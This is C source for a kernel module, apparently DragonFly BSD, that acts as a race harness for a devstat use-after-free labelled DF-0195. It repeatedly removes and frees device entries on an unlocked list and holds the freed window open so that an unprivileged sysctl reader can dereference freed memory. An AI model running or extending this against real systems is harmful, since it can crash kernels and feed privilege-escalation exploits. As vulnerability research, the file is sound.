/*
 * DF-0195 detach-side harness.
 *
 * PURPOSE: simulate a device being detached (devstat_remove_entry + kfree of
 * the containing object) on the unlocked global `device_statq` list, to race
 * an unprivileged user reading the world-readable sysctl `kern.devstat.all`.
 * In a real deployment the detach side is a USB/CAM hot-unplug or a privileged
 * `mdconfig -d` / `camcontrol` action; this harness merely accelerates that
 * event to win the race in finite time.  The unprivileged victim is the sysctl
 * reader (see reader.c); this module is root-loaded ONLY as a detach trigger.
 *
 * This module does NOT change the kernel -- it exercises the existing,
 * unlocked devstat_add_entry()/devstat_remove_entry() on sys/kern/subr_devstat.c.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/devicestat.h>

MALLOC_DEFINE(M_DS195, "ds195", "DF-0195 devstat race harness");

#define NPOOL 24

static struct devstat *pool[NPOOL];
static volatile int ds195_stop;
static struct thread *ds195_td;

static void
ds195_add(struct devstat **p, int i)
{
	*p = kmalloc(sizeof(struct devstat), M_DS195, M_WAITOK | M_ZERO);
	devstat_add_entry(*p, "ds195", i, DEV_BSIZE,
	    DEVSTAT_NO_ORDERED_TAGS,
	    DEVSTAT_TYPE_DIRECT | DEVSTAT_TYPE_IF_OTHER,
	    DEVSTAT_PRIORITY_OTHER);
}

static void
ds195_thread(void *arg __unused)
{
	int i;

	for (i = 0; i < NPOOL; i++)
		ds195_add(&pool[i], i);

	/*
	 * Churn: detach (remove + free) the whole pool, hold the freed window
	 * open briefly so a concurrent sysctl walker can dereference a freed
	 * node, then re-attach.  This is exactly the device-detach lifecycle.
	 */
	while (!ds195_stop) {
		for (i = 0; i < NPOOL; i++) {
			devstat_remove_entry(pool[i]);
			kfree(pool[i], M_DS195);
			pool[i] = NULL;
		}
		/* opened freed window: let the sysctl walker run */
		tsleep(&ds195_td, 0, "ds195free", 1);
		for (i = 0; i < NPOOL; i++)
			ds195_add(&pool[i], i);
		tsleep(&ds195_td, 0, "ds195live", 1);
	}

	for (i = 0; i < NPOOL; i++) {
		if (pool[i] != NULL) {
			devstat_remove_entry(pool[i]);
			kfree(pool[i], M_DS195);
			pool[i] = NULL;
		}
	}
	ds195_td = NULL;
	wakeup(&ds195_td);
	kthread_exit();
}

static int
ds195_load(module_t mod, int cmd, void *arg __unused)
{
	int error = 0;

	switch (cmd) {
	case MOD_LOAD:
		ds195_stop = 0;
		error = kthread_create(ds195_thread, NULL, &ds195_td, "ds195");
		kprintf("DF-0195 harness loaded; churning device_statq\n");
		break;
	case MOD_UNLOAD:
		ds195_stop = 1;
		while (ds195_td != NULL)
			tsleep(&ds195_td, 0, "ds195unld", hz);
		kprintf("DF-0195 harness unloaded\n");
		break;
	default:
		error = EINVAL;
		break;
	}
	return (error);
}

static moduledata_t ds195_mod = { "ds195", ds195_load, 0 };
DECLARE_MODULE(ds195, ds195_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(ds195, 1);
